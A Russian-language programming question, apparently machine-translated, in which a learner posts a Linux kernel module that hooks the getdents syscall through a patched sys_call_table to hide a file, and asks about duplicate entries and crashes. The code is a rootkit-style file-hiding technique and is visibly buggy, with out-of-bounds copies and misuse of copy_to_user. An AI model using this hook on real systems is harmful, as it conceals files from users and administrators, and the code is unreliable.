Прости мой Engli sh)
Я хочу узнать больше о разработке ядра, и мне было интересно узнать о системном вызове getdents. Я думал, что хорошей практикой будет попытка скрыть файл. Getdents - системная проблема, о которой идет речь. Таким образом, у getdents есть ряд тяжелых структур, которые вы можете перебирать. Мой код, когда он пропускает / скрывает файл, дважды напечатает следующий файл в списке (.vscode ниже). Как я могу удалить этот дубликат?
Вот код. Я надеюсь это имеет смысл.
Обновление Я могу получить файл, скрытый правильно. Теперь я не могу вернуть результаты, сохраненные в retn, без cra sh.
#include <linux/init.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/slab.h>
#include <linux/kern_levels.h>
#include <linux/gfp.h>
#include <asm/unistd.h>
#include <asm/paravirt.h>
#include <linux/kernel.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Qndel");
MODULE_DESCRIPTION("Hide File Module");
MODULE_VERSION("1.0");
unsigned long **SYS_CALL_TABLE;
void EnablePageWriting(void){
write_cr0(read_cr0() & (~0x10000));
}
void DisablePageWriting(void){
write_cr0(read_cr0() | 0x10000);
}
//define our origional function.
/*
int getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count);
int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
*/
struct linux_dirent {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* Offset to next linux_dirent */
unsigned short d_reclen; // d_reclen is the way to tell the length of this entry
char d_name[]; // the struct value is actually longer than this, and d_name is variable width.
};
struct linux_dirent_Temporary {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* Offset to next linux_dirent */
unsigned short d_reclen; // d_reclen is the way to tell the length of this entry
char d_name[]; // the struct value is actually longer than this, and d_name is variable width.
}*dirp2 , *dirp3 , *retn;
char hide[]="secretfile.txt";
asmlinkage int ( *original_getdents ) (unsigned int fd, struct linux_dirent *dirp, unsigned int count);
//Create Our version of Open Function.
asmlinkage int HookGetDents(unsigned int fd, struct linux_dirent *dirp, unsigned int count){
unsigned int records;
unsigned int tmp = 0;
int Found = 0;
unsigned int bytescoppied;
struct linux_dirent *dirp2, *dirp3 , *retn;
records = (*original_getdents)(fd, dirp, count);
if(records > 0)
{
dirp2 = (struct linux_dirent *)kmalloc(records, GFP_KERNEL);
copy_from_user(dirp2, dirp, records);
retn = (struct linux_dirent *)kmalloc(records, GFP_KERNEL); // Create Mem space for second
memset(retn, 0 , sizeof(*retn));
//copy_from_user(dirp2, dirp, records);
dirp3 = dirp2;
//retn = dirp2;
tmp = records;
while(tmp > 0) // Our loop here to iterate through the structs
{
tmp -= dirp3->d_reclen;
//memmove(retn, (char *) dirp3 , tmp);
// Search for File...
if( (strstr(dirp3->d_name, hide) != NULL))
{
if(tmp != 0){
Found = 1;
//printk(KERN_INFO "<<<<< %s " , retn->d_name);
memcpy(retn, (char *) dirp3+dirp3->d_reclen , records );
records -= dirp3->d_reclen; // Not sure if this does anything
//printk(KERN_INFO ">>>>>> %s " , retn->d_name);
}
else {
dirp3->d_off = 1024;
}
records -= dirp3->d_reclen;
}
else{ // If file not found..// copy current struct item
if( Found ){ //then from here we shall be copying one struct ahead to not have duplicates
memcpy(retn, (char *) dirp3+dirp3->d_reclen , records );
}else{
memcpy(retn, (char *) dirp3 , tmp );
}
}
if (tmp != 0) {
// printk(KERN_INFO "File Found %s " , retn->d_name);
// Moving to the next Dirent Struct
dirp3 = (struct linux_dirent *)((char *) dirp3 + dirp3->d_reclen);
}
}
bytescoppied = copy_to_user(dirp2, retn, records );
//copy_to_user(dirp2, retn, records);
bytescoppied = copy_to_user(dirp, dirp2, records);
//bytescoppied = memcpy(dirp, (char *) dirp3 , tmp );
//printk(KERN_INFO "Bytes Coppied %u " , records);
kfree(dirp2);
kfree(retn);
}
return records;
}
// Set up hooks.
static int __init SetHooks(void) {
// Gets Syscall Table **
SYS_CALL_TABLE = (unsigned long**)kallsyms_lookup_name("sys_call_table");
printk(KERN_INFO "Hooks Will Be Set.\n");
printk(KERN_INFO "System call table at %p\n", SYS_CALL_TABLE);
// Opens the memory pages to be written
EnablePageWriting();
// Replaces Pointer Of Syscall_open on our syscall.
original_getdents = (void*)SYS_CALL_TABLE[__NR_getdents];
SYS_CALL_TABLE[__NR_getdents] = (unsigned long*)HookGetDents;
DisablePageWriting();
return 0;
}
static void __exit HookCleanup(void) {
// Clean up our Hooks
EnablePageWriting();
SYS_CALL_TABLE[__NR_getdents] = (unsigned long*)original_getdents;
DisablePageWriting();
printk(KERN_INFO "HooksCleaned Up!");
}
module_init(SetHooks);
module_exit(HookCleanup);